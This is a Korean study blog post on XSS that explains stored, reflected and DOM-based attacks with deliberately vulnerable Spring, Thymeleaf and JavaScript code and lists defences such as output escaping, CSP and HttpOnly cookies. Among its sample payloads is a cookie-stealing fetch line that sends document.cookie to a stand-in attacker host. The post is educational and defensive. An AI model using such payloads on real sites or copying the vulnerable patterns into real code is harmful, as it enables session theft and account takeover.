면접에서 XSS 관련 질문을 받고 대답을 잘 못해서 정리하는 글입니다.
XSS란?
XSS(Cross Site Scripting)는 웹 애플리케이션에서 사용자 입력값을 적절히 검증하거나 이스케이프 처리하지 않았을 때 발생하는 대표적인 웹 취약점이다.
공격자는 악성 스크립트를 삽입하여 다른 사용자의 브라우저에서 실행되도록 만들 수 있으며, 이를 통해 다음과 같은 공격이 가능하다.
- 쿠키 및 세션 탈취
- 사용자 계정 탈취
- 악성 사이트 리다이렉트
- 키로깅(Key Logging)
- 관리자 권한 악용
- 악성 스크립트 전파
XSS는 스크립트가 어디에 저장되고 어떻게 실행되는지에 따라 다음과 같이 구분된다.
- Stored XSS
- Reflected XSS
- DOM Based XSS
1. Stored XSS
Stored XSS란?
Stored XSS는 공격자가 입력한 악성 스크립트가 서버(DB 등)에 저장되고, 이후 다른 사용자가 해당 페이지를 조회할 때 스크립트가 실행되는 공격 방식이다.
게시판, 댓글, 채팅, 프로필 소개글 등 사용자 입력을 저장하는 기능에서 자주 발생한다.
특징은 다음과 같다.
- 악성 스크립트가 서버에 저장됨
- 다른 사용자가 페이지를 조회할 때 자동 실행됨
- 다수 사용자 대상 공격 가능
- 영향도가 큰 경우가 많음
Stored XSS 공격 흐름
- 공격자가 게시글/댓글 등에 악성 스크립트 입력
- 서버가 입력값 검증 없이 DB에 저장
- 사용자가 게시글 조회
- 브라우저가 저장된 스크립트를 실행
- 세션 탈취 또는 악성 행위 수행
Stored XSS 페이로드 예시
<script>alert('XSS')</script>
쿠키 탈취 예시:
fetch('<a href=https://attacker.com/steal?cookie='>https://attacker.com/steal?cookie='</a> + document.cookie)
이미지 태그 이벤트 핸들러 사용 예시:
<img src=x onerror=alert('XSS')>
Stored XSS 취약 코드 예시
취약한 서버 코드 (Spring)
@PostMapping("/write")
public String write(@RequestParam String content) {
boardRepository.save(new Board(content));
return "redirect:/list";
}
취약한 화면 출력 코드
<div th:utext="${board.content}"></div>
th:utext는 HTML 이스케이프를 수행하지 않기 때문에 사용자 입력이 그대로 렌더링된다.
예를 들어 공격자가 다음 내용을 저장하면:
<script>alert('Stored XSS')</script>
다른 사용자가 게시글 조회 시 스크립트가 실행된다.
2. Reflected XSS
Reflected XSS란?
Reflected XSS는 사용자 입력값이 서버 응답에 즉시 반영될 때 발생하는 취약점이다.
Stored XSS와 달리 서버(DB)에 저장되지 않으며, 일반적으로 URL 파라미터를 통해 공격이 수행된다.
검색 기능, 에러 메시지 페이지 등에서 자주 발생한다.
특징은 다음과 같다.
- 입력값이 서버 응답에 즉시 반영됨
- DB 등에 저장되지 않음
- 사용자가 악성 링크를 클릭해야 함
- 피싱 공격과 함께 자주 사용됨
Reflected XSS 공격 흐름
- 공격자가 악성 스크립트가 포함된 URL 생성
- 피해자에게 링크 전달
- 피해자가 링크 클릭
- 서버가 입력값을 그대로 응답 페이지에 포함
- 브라우저에서 스크립트 실행
Reflected XSS 페이로드 예시
<script>alert('Reflected XSS')</script>
URL 인코딩 예시:
http://victim.com/search?q=%3Cscript%3Ealert('XSS')%3C/script%3E
이벤트 핸들러 기반 우회 예시:
<img src=x onerror=alert(document.cookie)>
Reflected XSS 취약 코드 예시
취약한 서버 코드 (Spring)
@GetMapping("/search")
@ResponseBody
public String search(@RequestParam String keyword) {
return "검색어: " + keyword;
}
공격 URL:
/search?keyword=<script>alert('XSS')</script>
서버 응답:
검색어: <script>alert('XSS')</script>
브라우저가 해당 스크립트를 실행하게 된다.
3. DOM Based XSS
DOM Based XSS란?
DOM Based XSS는 서버 응답 자체는 안전하지만, 클라이언트 측 JavaScript가 DOM을 조작하는 과정에서 발생하는 XSS이다.
즉, 취약점이 서버가 아닌 브라우저의 JavaScript 로직에 존재한다.
주로 다음과 같은 값이 위험하게 사용될 때 발생한다.
- location.href
- location.search
- document.URL
- document.referrer
- window.name
특징은 다음과 같다.
- 서버 응답에는 악성 스크립트가 없음
- 브라우저의 JavaScript가 DOM을 조작하며 발생
- 프론트엔드 코드에서 자주 발생
- SPA(Single Page Application) 환경에서도 빈번함
DOM Based XSS 공격 흐름
- 공격자가 악성 스크립트가 포함된 URL 생성
- 피해자가 URL 접속
- 브라우저 JavaScript가 URL 값을 읽음
- innerHTML 등으로 DOM에 삽입
- 스크립트 실행
DOM Based XSS 페이로드 예시
http://victim.com/#<img src=x onerror=alert('DOM XSS')>
또는:
http://victim.com/?q=alert(document.cookie)
DOM Based XSS 취약 코드 예시
<div id="result"></div>
<script>
const keyword = location.hash.substring(1);
document.getElementById("result").innerHTML = keyword;
</script>
공격 URL:
http://victim.com/#<img src=x onerror=alert('XSS')>
브라우저 동작 결과:
<div id="result">
<img src=x onerror=alert('XSS')>
</div>
결과적으로 브라우저에서 스크립트가 실행된다.
Reflected XSS와 DOM Based XSS 차이
| 구분 | Reflected XSS | DOM Based XSS |
| 취약 위치 | 서버 | 클라이언트(JavaScript) |
| 응답 페이지 | 서버 응답에 악성 스크립트 포함 | 서버 응답은 정상 |
| 실행 원인 | 서버가 입력값을 그대로 반환 | JS가 DOM 조작 중 실행 |
| 주요 원인 | 출력값 검증 부족 | innerHTML 등 위험한 DOM API 사용 |
예를 들어 Reflected XSS는:
return "검색어: " + keyword;
처럼 서버 응답이 직접 문제다.
반면 DOM Based XSS는:
element.innerHTML = location.hash;
처럼 브라우저 JavaScript 로직이 문제다.
4. 개선 방안(대응 방법)
XSS는 단순히 입력값만 막는다고 해결되지 않는다.
입력 검증(Input Validation), 출력 인코딩(Output Encoding), 브라우저 보안 정책 등을 함께 적용해야 한다.
1) 출력 시 HTML 이스케이프 적용
가장 중요한 대응 방법이다.
안전한 예시 (Thymeleaf)
<div th:text="${content}"></div>
th:text는 HTML 특수문자를 자동 이스케이프 처리한다.
예:
<script>alert('XSS')</script>
출력 결과:
<script>alert('XSS')</script>
브라우저가 스크립트가 아닌 문자열로 인식한다.
2) innerHTML 사용 지양
위험한 코드
element.innerHTML = userInput;
안전한 코드
element.textContent = userInput;
또는:
element.innerText = userInput;
textContent는 HTML을 해석하지 않고 문자열로 처리한다.
3) 입력값 검증(Input Validation)
사용자 입력값에 대해 허용 가능한 문자만 받도록 제한한다.
예:
- HTML 태그 제거
- 스크립트 키워드 차단
- 특수문자 제한
- 화이트리스트 기반 검증
단, 입력값 검증만으로 XSS를 완전히 막을 수는 없으며 반드시 출력 인코딩과 함께 사용해야 한다.
4) Content Security Policy(CSP) 적용
CSP는 브라우저에서 실행 가능한 스크립트 출처를 제한하는 보안 정책이다.
예시:
Content-Security-Policy: default-src 'self'; script-src 'self'
효과:
- 외부 악성 스크립트 차단
- inline script 제한 가능
- XSS 피해 감소
5) HttpOnly 쿠키 설정
Set-Cookie: JSESSIONID=abc123; HttpOnly; Secure
HttpOnly를 설정하면 JavaScript에서 쿠키 접근이 불가능해져 쿠키 탈취 위험을 줄일 수 있다.
단, XSS 자체를 막는 것은 아니며 피해를 줄이는 보조 수단이다.
6) 최신 프레임워크 보안 기능 활용
React, Vue, Thymeleaf 등은 기본적으로 출력 이스케이프 기능을 제공한다.
하지만 다음과 같은 기능은 여전히 위험하다.
- React: dangerouslySetInnerHTML
- Thymeleaf: th:utext
- Vue: v-html
사용 시 반드시 검증된 데이터만 렌더링해야 한다.
마무리
XSS는 가장 오래되었지만 여전히 매우 자주 발생하는 웹 취약점 중 하나이다.
특히 최근에는 SPA 구조와 다양한 JavaScript 프레임워크 사용 증가로 인해 DOM Based XSS 비중도 커지고 있다.
단순 입력 필터링만으로는 충분하지 않으며:
- 출력 인코딩
- 안전한 DOM API 사용
- CSP 적용
- 프레임워크 보안 기능 활용
등을 함께 적용해 다층적으로 대응해야 한다.
'IT > 보안' 카테고리의 다른 글
| [Dreamhack] Are you admin? (0) | 2026.05.31 |
|---|---|
| [Dreamhack] spring-view (0) | 2026.05.30 |
| [Crypto] DF CTF Season 8 Round #4 (0) | 2026.05.02 |
| [Reversing] DF CTF Season 8 Round #8 (0) | 2026.04.20 |
| [Dreamhack] Hello Beginners ! (0) | 2026.04.17 |